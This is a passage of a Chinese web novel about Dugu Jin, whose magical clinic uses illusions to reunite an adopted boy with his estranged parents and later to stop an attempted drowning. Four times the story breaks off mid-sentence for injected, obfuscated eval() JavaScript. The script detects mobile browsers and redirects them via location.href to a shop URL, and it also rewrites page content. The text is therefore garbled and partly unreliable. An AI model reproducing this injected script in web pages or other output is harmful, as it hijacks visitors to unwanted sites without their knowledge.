对付恐惧最好的办法是它 独孤尽只是瞥了冯建安一眼,冯建安就立马缩着脖子,屁颠屁颠跟在了他身后。 冯建安这个人,没法上交处理,他运用了很多不留证据的手段,只能暂时把他留在“怪奇诊所”,即便不能改过自新,也不能让他好过。 “大仙,以后我为您马首是瞻,您说什么就是什么,绝不违背您!” “有些废话可以不说。”独孤尽示意合窳把人拎着后,便心念转动回到了春渐满身边。 该安顿的人还需要继续安顿,他真是一刻也无法停下来休息。 “小弟,怎么一副苦大仇深的模样?”独孤尽指尖触上春渐满眉头,将其抚平。 “他很怕我们。”春渐满看向蹲在花坛边上玩泥巴的男孩。 “你师父来了,人我们也抓到了,这个案件至此也该落幕了。至于他……”独孤尽指了指满腹心事的半大小子,“虽然很想给他制造受害失踪的假象,但你说的对,我不该任凭力量行事。” “什么都该有制约,不然,迟早,我也要变成那些犯罪者。” 虽然独孤尽的觉悟很高,但春渐满还是没忍住吐槽,“你现在做的事,也已经……” 精神暴力也是一种暴力,只不过现在没法用科学有效的手段抓住独孤尽的证据而已。 “饶了我吧,饶了我吧,春大警官,我用这能力也是被迫的,非我自愿,如果不用,那些犯罪者不会罢手,而且画还会一直惩罚我。”独孤尽推着春渐满肩膀把他按坐在椅子上,他单膝跪地,认真地注视着春渐满的眼睛,“我这绝对是正当防卫,相信我春警官,我不会做害人害己的事。” 春渐满下意识拍了独孤尽脑袋一记,“我没权利饶恕你,就连我自己,都是共犯。” “要忏悔回你师父那忏悔去,反正我就这么坏了。”独孤尽起身没再看春渐满,他摆摆手,“而且这个案子也结束了,之前就说过,案子结了你就该回哪就回哪。我等等把定位发给你,你快去你师父那报道给他帮忙吧。” 春渐满没恼,他也不急,毕竟“怪奇诊所”要不要他,可不是独孤尽一人说了算的,他现在已经是“怪奇诊所”的人了,随时随地他都能转动心念直接进入画中。 当务之急是把自己这边收集的证据上交,帮忙把整个案子了结好。 “罪行严重的几人我已经让猲狙把他们聚集在一起了,其他涉案不深的从犯,等我问过师父,看怎么办。”春渐满跟独孤尽解释了几句,就潇洒跟他告别,“我先去忙了。” “……”独孤尽捡起还剩一口的能量饮料,瓶子上似乎还残留着些许温度。 一个人,也挺好的。 他叹了口气,把饮料喝光,送剩下的病患回到他们该去的地方,直到所有人都安置妥当,他才走到花坛边,坐到男孩身旁。 “走吧,先去把小猫接回来。”独孤尽朝男孩伸出手,男孩转动僵硬的身体,把脸颊放在了独孤尽的掌心里,“小猫会这样蹭我的手。” “这样是表示友好,我喜欢你,我也要跟你表示友好。” 独孤尽翻转手掌,轻揉上男孩的脑袋,“那你是不是会这样摸摸小猫,表达喜欢。” 男孩立马点头,头发挠得独孤尽手心痒,他撤回手,蜷了蜷指尖,“别让小猫等太久了。” 独孤尽最后忘了一眼远星疗养院这片染了太多罪孽的地方,才抱起男孩,心念转动,来到白山街上。 为了不引人瞩目,独孤尽还换了身衣服,让自己看起来像是普通刚毕业的大学生。 至于面容,也少做了改变,他目前还不想让男孩知道他的真面目。 没了白雾的遮挡,男孩新奇地盯着独孤尽的脸看了半天。 “哥哥,我还以为你是叔叔。”男孩总算得出一个结论。 “其实,是该叫我叔叔的。”独孤尽嘴角抽了抽,他让男孩走在他前面带路,去小猫经常出现的地方。 “小猫应该在这里啊,怎么会没有呢?”男孩找了一会儿,有些焦急,出了一脑门的汗。 独孤尽顺着气息感知了一下,这里确实之前有猫,但不止一只,现在这些猫应该在…… “跟我来。”独孤尽拉着男孩往一家水果店走过去。 “啊!是小猫!好多小猫?!”男孩远远就瞧见了趴在窝里奶孩子的猫。 猫似乎感知到了什么,懒洋洋抬起脑袋,朝街对面看过来,起身稍微动弹了一下,又俯身下去继续奶孩子。 独孤尽和男孩一起走到水果店门口。 水果店里人很多,但猫却一点儿也不怕人,它舒舒服服眯着眼睛,活脱脱招财猫的形象。 男孩久久都没再往前走一步,独孤尽看出他的迟疑,率先伸手想摸摸猫,却被它一爪子打开,差点挠到。 “不好意思,母猫刚生了崽警惕得很,这个时候不好让人靠近的。”店主是个年轻的女孩子,她把猫窝往里挪了挪。 “……”男孩眼里已经蓄满了泪水,他强忍着,没哭出来。 “这是您的猫?”独孤尽现在这副长相很有亲和力,他只是用清澈的眼睛看着店主,店主就有些臊得慌,“说到这个猫,别看它可爱,其实聪明的很,当时它怀了崽,想找个地方生崽,挑来挑去挑到我这了。” “我也就是看它可爱,被它骗了,带它去医院一检查,根本就不是一只,好多只,我哪里养得过来,只能先养在店里看它自己的意愿。” “但它真的很聪明,知道赖在这里少不了它吃的,生崽那天我陪它忙了一晚上,第二天店都差点没开出来。”店主虽话里有些抱怨,但眼里的爱是藏不住的,说话间她已经摸了猫好几下。 “之后这些小猫崽您打算怎么办?”独孤尽数了一下,足足有六只,这么多猫,仅凭一人,恐怕难以负担。 “是不是你弟弟喜欢猫?等小猫断了奶,挑两只带回去养吧?”店主朝男孩露出个笑容,还把其中一只小猫举了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688924|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来给男孩看。 男孩攥了攥手指,低着头,没伸手去摸,他扯扯独孤尽的衣摆。 “谢谢,我弟弟有点害羞,打扰了,晚点再来看。”独孤尽拉着男孩快步走出水果店,他蹲下身抱住这个幼小的身体,“要不要回家看看?” “小猫有家了,我也能有家吗?”男孩始终垂着头,他的脑袋正好磕在独孤尽肩膀上,很快泪水就濡湿了一片。 “我陪你。”独孤尽没打包票,他不想给人希望后,得到的却是失望。 “这个……地址。”男孩抹掉眼泪,眼神里的灰败总算散了些许。 许是有人陪伴,让他鼓起了勇气,直面他害怕的,不想再次受到伤害的一切。 “要长大了,即便只有一人,也可以有自己的家。”独孤尽喃喃自语,不知道是在劝诫男孩,还是劝诫自己。 独孤尽有些不想那么快就到男孩家了,他难得痛恨起自己的能力,如果没有展现过这个能力,他们可以计划着怎么回去,打车或者坐公交,在路上,还能再做做心理准备,平复一下心情。 可现在,在男孩明知道他有办法直接抵达的时候,饶是他也没办法厚脸皮拖延时间。 “哥哥,我不怕了,我们出发吧。”反倒是男孩安慰起了独孤尽。 再次转移坐标后,独孤尽看了眼门口差点照到他的摄像头,往后退了一步,才带着男孩上前按响门铃。 门内的人第一眼看到的不是他们的孩子,而是独孤尽,“什么事?” “哥哥,他们不要我了。”听到熟悉的声音问出冷漠的话,男孩沮丧地扭头准备走,被独孤尽一把拉住,他蹲下身把男孩举了起来。 “志轩!你怎么了?!”随着声音落下,门也打开了。 那是一位约莫四十多岁的母亲,她赶忙从独孤尽手中接过男孩,眼里都是自家孩子麻烦到人的歉意。 独孤尽被迎进门后,并未见到其他人的身影,但家里玩具很多,显然还有一位比男孩更小的孩子。 “你不是在疗养院吗?怎么回来了?”母亲关切地看着男孩,这种状态不像演出来的。 经常看一堆神兽演戏的独孤尽很能洞察真假。 “您好,远星疗养院出事了,过几天应该就会有新闻通报,里面的孩子自然要负责安全送到家。”独孤尽走近男孩,再次摸了摸他的脑袋。 “为了让他们不再受到二次伤害,还需要您配合我回答一些问题。”有些话,只听一面之词,无法知悉全貌。 “二次伤害?志轩,你伤到哪了?快给妈妈看看。” “我,我没事。”男孩别扭地躲开,跑到独孤尽身后藏起来。 “您也看到了……关于这件事,我需要跟您好好聊聊。”独孤尽安抚地牵着男孩的手,重新把他推到自己身前。 他们约定好了的,要好好面对,无论会不会再次受到伤害,都要直面,不能让逃避在心里留下无法跨过的坎。 28. 并非超雄体综合征 男孩家虽然不大,但胜在布置温馨,完全不像他先前描述的,独孤尽心存疑虑,难道这些都是假象? “志轩还有个弟弟?”独孤尽像似无意一般提起。 一提到此处,女人的脸色就变得极差,还略带一些家丑不想外扬的尴尬,她在掩饰什么。 “方便说吗?”独孤尽低头看了一眼男孩,男孩这会儿只是埋着脑袋,用后脑勺对着他。 “志轩,先去房间里休息。”女人连哄带骗想让男孩回房间,可男孩只是抱着她的腰,分毫不动。 独孤尽见状提起男孩后脖领,直接丢进了房间,“先去洗个澡,换身衣服。” 接下来的交流就变得顺畅了很多,只要男孩不在场,女人就没了先前的别扭。 她颇有顾虑地压低了声音,“不知道您清不清楚志轩这个孩子,他是被我们领养的。” 独孤尽的嘴角扯起一抹弧度,“领养?怕不是买来的吧?” “诶,话不能这么说,我们都是办了正经领养手续的。”女人稍抬音量驳斥独孤尽。 “我们要知道他父母那边基因这么不好,肯定不会要这个孩子。”她的脸上布满了愁容,有后悔,也有认栽的感觉。 “展开说说。”独孤尽眯起眼睛,敏锐地察觉到一丝不同寻常。 “我们以前只有志轩这一个孩子,后来,我忽然怀上了小儿子,还没生下来的时候,志轩就不止一次,差点让我摔跤,那个时候我还没往别处想,只觉得是小孩子调皮,没分寸。”女人回忆起当时的场景,面露惊恐,她单手支额,声音更低了。 “还是孩子他爸察觉出点不对劲,后来一直到小儿子出生,都留心着,才顺利生产……” “生产完回了家,我因为喂奶带孩子太累,不能整天都注意着,有一次,我听到小儿子在大哭,醒过来就看到孩子摔在了地上。”女人不放心地又看了一眼房门,见那边没动静才又说,“孩子当时还不会爬,不可能从小床上翻出来。” “我们带着志轩去看了医生,是罕见的超雄体综合征,这种恶魔我们怎么敢留在身边?!”女人说到此处,眼里留下两行清泪,她哽咽着又看了一眼房门,“可志轩是我一手带大的,那时候,他就是拯救这个家庭的希望,是拯救我婚姻的宝贝。” “我不想相信他真的是天生的恶魔,我开始留心他和弟弟的相处,但他真的在做那些坏事,会让他弟弟殒命的坏事。”女人捂住胸口,无助掩面。 独孤尽听得头疼,实在难以应对这种情绪,他赶忙抽了两张纸递过去。 “你们跟他说过,就算有弟弟,也不会不要他吗?” “这还需要说吗?我们每个月都会给他零花钱,就算我怀了宝宝,也从来没短缺过他。”女人忍不住又抬高声音,独孤尽这会儿比她还紧张,立马做了压低声音的手势。 “生活保障是一方面,对这种年纪的孩子,更重要的是情感方面的。”独孤尽语重心长,他其实也不想去回忆自己儿时的内心,但他跟男孩约定好了要直面,只能硬生生忍着难受。 “像他这种年纪,很多正确的世界观还没形成,有大把机会去绘图,你们就这样把他往那么远的地方一丢,是想亲手促成一只恶魔吗?” “但孩子他爸不同意我们再养着他了,本来我们不收养他,他就要被亲生父母卖给讨饭团伙了,到时候断手断脚都是常见,他不但不感恩,还差点害得我没命,害得我的亲生孩子没命。” “你看……算了,孩子的爸爸什么时候回来?” 独孤尽从口袋里拿出一只玩偶,想用它举例,但刚开了个头,他就想到自己现在拥有的能力,有办法更直观让这对父母感受这种情绪。 女人看了一眼墙上的挂钟,眼里透露出不安,“还有半个小时就该下班回来了,到时候让他看见志轩,怕是又要闹一场。” “没事,等到时候再说,我先去看看志轩。”独孤尽相信有纯恶的人,但就他看来,这个男孩不是那样的。 男孩打开门的时候表情还算平静,只不过之前对独孤尽的亲近荡然无存。 独孤尽顺势进了房间,还随手把门反锁了,他一副到了自己家的样子,四仰八叉就坐在了那张专门给儿童准备的学习椅上。 椅子不堪重负,发出一声吱呀。 男孩紧张地看着椅子,没忍住嘀咕,“轻点,别坐坏了。” “一张椅子罢了,坏了我赔你。”独孤尽吊儿郎当,毫不在意,继续“吱呀吱呀”晃着。 “那是妈妈专门给我买的,你别坐了,别坐了!”男孩上前推搡着独孤尽,想把他从椅子上推下去。 独孤尽故意被他推得摔倒,他指指自己的腿,“断了,腿断了,不能走了。” 如果这个时候有旁人在,一定要吐槽他浮夸的演技。 “你!你活该!你故意弄坏我的椅子!”男孩着急了一瞬,又照着独孤尽的腿上踢了一脚。 “……”独孤尽这会儿有点装不下去疼了。 不怪男孩的家人害怕,如果他表现出来的一直是这种状态,谁碰上不怕啊。 “我以后都不能走路了,你也不来帮我一下吗?”独孤尽的声音有些冷了,但很快,他又恢复成欠揍的模样,“啊啊……好疼啊,痛死了,痛得马上就要离开这个世界,再也不能跟你玩了。” “你……你这么疼吗?可我和小猫这样摔一跤都不会很疼的。”男孩有点看不下去了,他蹲下身去摸独孤尽的腿。 独孤尽故意抽搐一下,“疼啊,好疼。” “你妈妈刚刚跟我说了,你以前也这么推她和你弟弟,你不知道这对我们来说有多疼吗?会死掉的,再也没法陪你玩了。”独孤尽继续僵硬地演戏,他还故意掐了自己一把,让眼圈看起来红彤彤。 “不可能,不可能,我和小猫玩的时候,有的时候也会有点疼,但没事的,只是有点疼。”男孩似乎看独孤尽痛得真切,有点着急了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688925|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我,我给你叫医生,对,120,我给你打120。” 孺子可教也,分明是个好孩子啊。 独孤尽决定先从男孩这边入手,房间里升腾起水泡时,“怪奇诊所”再度开张。 男孩吃惊得看着自己突然变成了大人,肚子也大了起来。 独孤尽变成了男孩的模样,故意绊了他一跤。 男孩捂着肚子想要平稳住身体,但仍旧没控制好身体,往旁边一歪就摔了下去。 “啊——”紧接着就是凄厉的叫声。 男孩感到自己身下有什么流了出来,粘稠的,温热的…… 疼痛剥夺了他的思考,只能深呼吸着强忍疼痛。 就在他即将晕死过去时,独孤尽又让男孩变成了婴孩的模样,而他,依旧是男孩的模样,他把婴孩从小床上举起来,重重丢在地上。 “啊!!!呜哇哇哇——”婴孩还不太会说话,只能发出痛苦的哭声。 眼泪鼻涕很快糊了一脸,呼吸渐渐变得困难,即将窒息。 独孤尽轻拍水泡,打散幻境,又捏了捏男孩的脸。 “啊!” “诶?” 男孩看看自己的肚子,又看看自己的手,他好像不痛了。 “知道你的举动会带来多大的灾难了吗?”独孤尽轻抚着男孩的脑袋。 “你在骗我!”男孩这会儿回过神了,他看着独孤尽好端端站在那,气鼓鼓地又踢了他脚一记。 “我摔跤自然不会有这么大的伤害,毕竟,那么危险的敌人,都是我帮你们消灭的,但除了我之外,其他人就是会受到很大伤害。”独孤尽轻叹了口气,“人类都是很脆弱的。” 男孩坐回了床上,有一下没一下拨弄他的玩具,“那如果当时妈妈摔倒了,就会……就会……那么痛……” “会,而且很可能会死,再也没法陪你玩了。” “弟……弟弟他也那么疼吗?我没用力摔他……”男孩想到自己刚才的痛楚,还是打了一个寒噤。 “……”独孤尽没好意思回答男孩,他刚刚是故意摔重的,这种力道足以把婴孩摔死,但既然那个孩子现在还好好活着,男孩肯定没下这么重的手。 “人类真的好脆弱。”男孩忽然和独孤尽发出了同样的感慨。 “所以,我们要温柔待人,当然,当你自身遭受到迫害时,必须反抗。”独孤尽看了看手表,时间差不多了,并非真正恶魔的小孩子好矫正,可顽固的大人要难办很多。 “这么珍惜你妈妈给你买的椅子,还说自己想一个人生活,再也不回这里了?” “是他们先不要我的!”男孩眼里的光又暗淡下去。 “没有谁是谁的唯一,但我们可以做自己的唯一。”独孤尽指指男孩那一筐的玩具,浅显易懂给他解释,“你也有很多玩具,他们也想你只玩它们一个,但它们没有办法左右你的意志,但每个玩具单独拿出来,都是一个很有趣的个体。” 29. 是魔法哦 当大门响起时,独孤尽就将“怪奇诊所”的区域范围转移到了客厅,一切都在悄无声息中进行,踏入门中的男人自然毫无所觉。 他按照惯例放下公文包,抹了把额头上的汗,可他一低头就看到了玄关处多出来的儿童鞋,那个尺码,是他大儿子的。 是那个被他视为恶魔,送出去了的孩子的鞋。 男人僵硬了一瞬,强忍着愤怒洗了洗手,他瞥了一眼紧闭的房门,又看了眼坐在沙发上魂不守舍的妻子,还是准备先把今天的晚饭做了。 妻子愈发焦急,她慌里慌张趁丈夫进厨房的时候,把男孩的鞋藏进了鞋柜,掩耳盗铃一样又看了一眼房门。 男人做的都是家常菜,只花了半个小时,三菜一汤就完成了,显然是做习惯了。 他把菜端上饭桌才低声询问妻子,“怎么跑回来了?” “你把他接回来的?跟你说过多少次了,这孩子就是个恶魔,当年是我的错,我急着要孩子,早知道能跟你有孩子,多等几年又有什么,犯不着接这么个恶魔回来。”男人一开口就忍不住后悔,他越说越激动,却还在强行压抑着,不想让房间里的人听见。 “让你看那么多新闻,白看的,都是白看的,到时候死的不只是我们俩,幺宝呢,幺宝也会死的。”他又警惕地看了两眼房门,“得亏幺宝现在在他奶那,不然我不在家,你一心软,一放松,幺宝又要被他折磨。” “明海,会不会是我们把志轩想得太恐怖了,没有幺宝的时候,他不是一直都挺好的吗?”女人有些迟疑,毕竟都是她的孩子,虽然不是亲生的,那也是用心养了的。 “还说,还说!你还说!”男人恨铁不成钢地猛拍了一下桌子,“没有幺宝的时候,他哪次不把人家小朋友弄伤?!” “那个时候就该发现的,什么男孩子贪玩、没分寸、爱闯祸,都是屁,他就是个恶魔!” 独孤尽能够感知到客厅里的全部情景,因为那已经是“怪奇诊所”的区域了,但男孩在屋里什么也听不见,他只是继续拨弄那些玩具,似是思考起独孤尽的话了。 “等等给你表演个魔法,你和玩具玩一会儿,等我回来。”独孤尽拍拍男孩的脑袋,竖起一根手指跟他定了新的约定。 “魔法?很厉害的魔法吗?可是魔法不是骗人的吗?”男孩狐疑地看着独孤尽,被独孤尽骗过后,他有点儿后遗症。 “很厉害的魔法,能让你以后开心很长时间的魔法。”独孤尽勾勾唇角,现在压力给到他身上了啊。 没再跟男孩多说什么,独孤尽走入“怪奇诊所”,他隐匿了身形,冲着窗外召唤了一下,“九尾狐,玩够了吗?过来。” 九尾狐已经超时在外玩得疯起了,听到独孤尽的声音,她满脸不爽跟刚交的朋友们告别,来到“怪奇诊所”。 “阿尽,人家才刚和好朋友约了去猫咖撸猫,你怎么这么扫兴!”九尾狐一双媚眼里满是娇嗔。 独孤尽冷冷看了看手表,“超时了多少你自己清楚,况且,猫咖,你是去撸猫还是吃猫。” “猫猫这么可爱,我怎么会吃它呢,阿尽你这么说就太伤我心了。”九尾狐说是这么说着,却没有一丝伤心的意思,她伸手指了指眼前两个看不见他们的人类,“这次的患者?” 她仗着别人看不见,故意凑到两人跟前,近距离观察,“什么病症?” “不是大问题,缺乏同理心,没法开口说爱,跟孩子缺乏有效沟通。”独孤尽语气不咸不淡,有这种病症的人,没有几十亿也有十几亿,属于常见病症。 如果不是男孩有可能转化成危害社会的类型,他是不乐意出手的。 社畜也是需要休息的,哪有接连不断上班的道理?! “这个好治,交给我吧,不过,我又出了任务,是不是能延长外出时长?”九尾狐一副没有好处她就不干了的耍赖样子。 “先前你已经超时了。”独孤尽不受威胁。 “小气!阿尽好小气!”九尾狐胡子都炸开了,她生气地看着眼前两位马上就要被她治疗的病患,“你们等着吧,要怪就怪那个人,他坏!” 毛茸茸的手指指向的正是独孤尽。 独孤尽无所谓被人记仇,他靠在窗边呼吸着新鲜空气,半张脸都掩在黑暗里,不知道在想些什么。 九尾狐轻抬手指,读取了两人的记忆,立马制定了治疗方案,房间一瞬就变成了儿时记忆里的青砖红瓦小巷。 正吃着饭的两人也变成了孩童的模样,原本的记忆被暂时封存,硬是被九尾狐塞了新的记忆进去。 现在两人是儿时的好伙伴,男人家里养了得有六个娃,正在打算将他卖出去。 而女人家里只有她和弟弟,家里什么都想着她弟弟,她这个做大姐的,既做着姐姐,又做着妈妈。 “玲玲,我今天吃完饭,听到了不该听的。”杨明海偷偷从家里跑出来找到了他最好的朋友邹玲,“他们,他们要把我卖掉,家里没钱了,我知道我没什么用,被卖掉还能补贴家里一些钱,但是我好害怕,我好害怕。” “我其实每天不用吃多少的,我已经可以自己赚钱了,我可以抓泥鳅去镇上卖,我还可以编草绳,我会编好多小玩意儿,小孩子们都可以喜欢了……” “我可以……我可以……我不想被卖掉……玲玲,我该怎么办?可是只要卖了我,家里就能宽裕好几年,那么多钱……那是那么多钱……”杨明海已经泣不成声,这些对小小年纪的他来说,太难接受了。 邹玲听得他的哭诉心里一惊,这也是她最害怕的,她作为姐姐一直都在努力发挥自己的作用,她要好好照顾弟弟,这样,才能缓解她害怕自己被卖掉的情绪。 但大家都喜欢男孩,没多少人会买女孩的,女孩都是倒贴的,她本不该担心的。 如果她再长大一点,能生孩子了,那个时候,她才更该害怕自己被卖掉… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688926|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 邹玲思绪飘远,浑身发冷,她无助地抱着杨明海,只能重复着安慰的话语,“没事的,没事的,会卖到好人家的,没事的,等,等成年了,我们就自由了。” “等我们自由了,我们在一起好不好。”邹玲由衷期望着,美好而虚幻的未来。 九尾狐冷不防被喂了一口狗粮,她锐利的指甲划破天际,切换了时间。 杨明海被卖给了一家很好的人家,他感受到了从未在家里感受过的爱,但他自小在家里混着长大,学了很多危险的游戏,每次交到好朋友,就会教好朋友玩,弄得那些孩子的家长一个个找过来算账。 只有他摔了痛了,轻轻拍拍,就又能跑能跳了。 他不理解为什么家里再也不让他和朋友们玩了,也不理解原本对他很好的爸爸妈妈为什么突然之间有了新的孩子,所有的注意力都被转移走,他就只是想引起大家注意,爸爸和妈妈就吵了起来,而他,被送去看了医生。 医生说,他需要治疗,他不能再留在爸爸妈妈身边了,他就是一个没用了,随时都能被人丢弃的东西。 另一边,邹玲继续在家里受着极其不公平的对待,所有好事都是她弟弟的,而她,就像个不费钱的保姆,既要给全家人做饭,又要赚钱供弟弟上学,最后还要被当作物件一样,卖给别的男人,换取彩礼贴补家里。 她根本没有自由。 邹玲到治疗的后期,独孤尽有些看不下去了,他僵硬地瞧着饶有兴趣化成男人形态后调戏着邹玲的九尾狐,脸都黑了。 九尾狐像是感受到了独孤尽即将爆发的情绪,她赶忙戳破幻境,幻化成慈眉善目的神仙之姿,飘荡到坐在餐桌前消化一切的两人面前。 “尔等可明悟了?” 两人呆愣地仰面看向周身莹润着白光的仙人,同一时刻,眼泪扑簌簌掉下来。 “感谢仙人点拨。” 还坐在床上与玩具对话玩耍的男孩被突然打开的房门惊到,他以为是独孤尽回来了,却没想到是他的爸爸妈妈,两人极其夸张大哭着将他拥入怀中,口里还不断念着,“爸爸爱你”、“妈妈爱你”。 男孩被抱得有些喘不过气,好不容易把自己的脑袋从怀里探出,就看到独孤尽站在后面,正冲他做着口型。 那是……魔法。 他的小脑袋瓜想不明白,对他避如蛇蝎的爸爸妈妈为什么突然之间就对他说出那么臊人脸皮的话。 不过……好温暖,他有点不想一个人闯荡江湖了。 “爸爸、妈妈,我好想你们……我以后不会讨厌弟弟了,我会轻轻地跟他玩,你们别不要我,你们再不要我,我就真的再也不要你们了。”男孩眼里也流出泪来,压抑许久的情绪倾泻而出,一发不可收拾。 独孤尽看了九尾狐一眼,给她竖起三个手指,“这次任务完成得不错,奖励你三小时自由时间。” 现在,他该一个人回家了。 30. 情债 自从被迫买画后,独孤尽就再也没回过他以前住的地方,可现在他想回去看看。 在市区最繁华的位置,有一片独栋别墅区,他以前就住那里,左邻右舍明明都认识,却从不打招呼。 这里的监控很密集,他找了相隔一条河的旧城区才落脚。 相比那栋别墅,他更喜欢这边的旧城区,充满年代感的建筑物让他觉得放松。 现代化高速发展的城市里满是戴着面具的人,与其说像人,不如说像一台昼夜不停运转的机器上的齿轮。 每个人都为了往上走,不断努力,没有一刻喘息,好像只有不断向着顶峰攀越才能放下心里的石头。 那种惴惴不安,那种仿佛被什么跟在身后不停追赶的感觉,从还没出生就开始了。 独孤尽沿着河边缓步走着,夏日的风有着一股燥热,湿乎乎的,让人不舒服,绿荫多的地方,蚊虫也多。 有阿婆坐在树下的小板凳上摇着蒲扇,只是些微的风凉,但她脸上是恬静和满足,那种惬意是河对岸的人感受不到的。 独孤尽走累了,趴在栏杆上,静静盯着河面发呆。 远远看过去毫无波澜的河面实则暗藏玄机,里面有不少小鱼在嬉戏,水波荡起一阵阵不规则的涟漪。 他就这样盯着鱼儿玩闹盯了许久,直到身后传来熟悉的声音,“独孤尽?!” 回头的瞬间,一个人影就扑了过来,大热天的揽着他肩膀,“你小子怎么实习不干完就跑了,有钱就是好啊,翘了实习也能拿到实习证明。” “离我远点,太热了。”独孤尽嫌弃地拍掉他的胳膊,重新趴回栏杆上。 “你小子总是这样,热点怎么了,热点才有人情味,跟哥们去撸串,讲讲你这段时间干什么去了。” “……”就是这样,他才不想回家这边,总能莫名其妙碰到一些自来熟的人。 独孤尽后撤半步,忽然歇了回家的念想,刚想找棵大树作掩体,溜之大吉,就听见河边有人大叫。 “救命!” “救命!” “有人落水了!来人啊!救人啊!” “嚯,这么高的栏杆,谁能从这里落水啊。”自来熟的某人脱了上衣,骂骂咧咧刚准备跳下去救人就被独孤尽拉住了,“你想一换一?” “我会游泳,总不能见死不救吧。” “我来。”独孤尽冷静地解下挂在栏杆上的救生圈,跑到落水者附近,甩着绳子找了个确切的弧度,朝落水者丢了过去。 落水者似是看不到前方有什么,只凭着本能在水上扑腾,岸上似乎是他同伴的人只在拼命喊着,却半点忙帮不上。 独孤尽轻叹了口气,他轻声召唤,“应龙,去助他。” 应龙向来心高气傲,根本不想去管这种凡人落水的事,但受到召唤能来人间玩耍片刻也是好的,当即应下,三下五除二就让水流托着人直接套进了救生圈里。 岸上那人的同伴原本还在无头苍蝇一样四处乱叫,瞧见这一幕,嘴都张大了,喃喃,“不可能,不可能。” 独孤尽一把将连在救生圈上的绳子给了同学,“出把力,救人。” 同学也是一副震惊的模样,不知道怎么刚才还在河里瞎扑腾的人这会儿怎么乖乖呆在了救生圈里,而且也没了挣扎的模样。 他正准备趁机离开,就被画剧透了一脸,一些不属于他的经历又涌入了他的脑海。 这人没救完,画不让他离开,非要他把隐患拔除才行。 独孤尽脸色很差地咂舌,他没好气地看着那位还处于惊讶的只会呼救的人。 “你,给我过来。”他用力抓着这人胳膊,恨不能直接扭断。 “不就是喜欢的女孩跟他跑了吗?至于杀人吗?” 被一语道破自己的谋划,这人立马就想跑,可胳膊被死死扣着,无法动弹,他抬脚就要踢独孤尽。 那边刚费劲把人拖上岸准备施救的某人瞧见这边情况,把人往地上一丢,挡在了独孤尽面前。 “你这人好没道理,我们帮你救人,你还恩将仇报!” “也不是太没道理,他喜欢的女孩跟那男的跑了,他杀人眼见着就要杀成功了,被我俩救了。”独孤尽耸耸肩,有点摆烂地平铺直叙。 “哇!那就更没道理了,我们把人救了,他就是个杀人未遂,要感谢我们。” 独孤尽听见这话,重新看向这位自来熟的同学,他记得…… “我是陆烨修,你不能是又把我忘了吧?不能吧,不能吧?”陆烨修的脸还因为刚才费力救人涨的通红。 “记得,陆烨修同学,很感谢你毕业了还记得我。”独孤尽一本正经说着胡话,他是真没多少印象了。 “哇!你肯定是又不记得我了,上回也是这样,一模一样的反应!”陆烨修虽然在跟独孤尽寒暄,却还没忘了揪住那位犯罪者。 “快,报警,我们给他送警局去。”陆烨修上下左右找了一圈,发现救生圈上的绳子正好能用,赶忙绕了几圈把犯罪者的双手缠在一起,系牢了。 独孤尽还是第一次自己拨通警局电话,之前他都是让人接受了“怪奇诊所”的治疗,再去投案自首,这回还是他直接挑破。 不过,这回确实不用那么复杂,他们救了被害者,只要被害者还有点自我保护意识,就会指认凶手。 独孤尽走过去看了一眼被害者,他虽呛了点水,但胜在救得及时,只是喘着气一副筋疲力尽的模样,暂时没有生命危险。 他见到独孤尽走近,咳了两声,虚弱地抬起脸,“谢谢……谢谢……” “遭此一劫,你也该收敛收敛,别总干不是人干的事。”独孤尽叮嘱了一句。 “好……好……以后不会了,再也不了。” 独孤尽实在不放心放陆烨修一个人在这,他站在一边等到警车过来,跟着一起去做笔录。 “知道我喜欢你什么吗?”陆烨修冲独孤尽眨眨眼。 “就喜欢你这种看起来什么都事不关己,实际上比谁都在意的样子。” 独孤尽直接侧身留了个后脑勺给他。 “被我说中了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688927|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不好意思了?”陆烨修用肩膀撞了撞独孤尽。 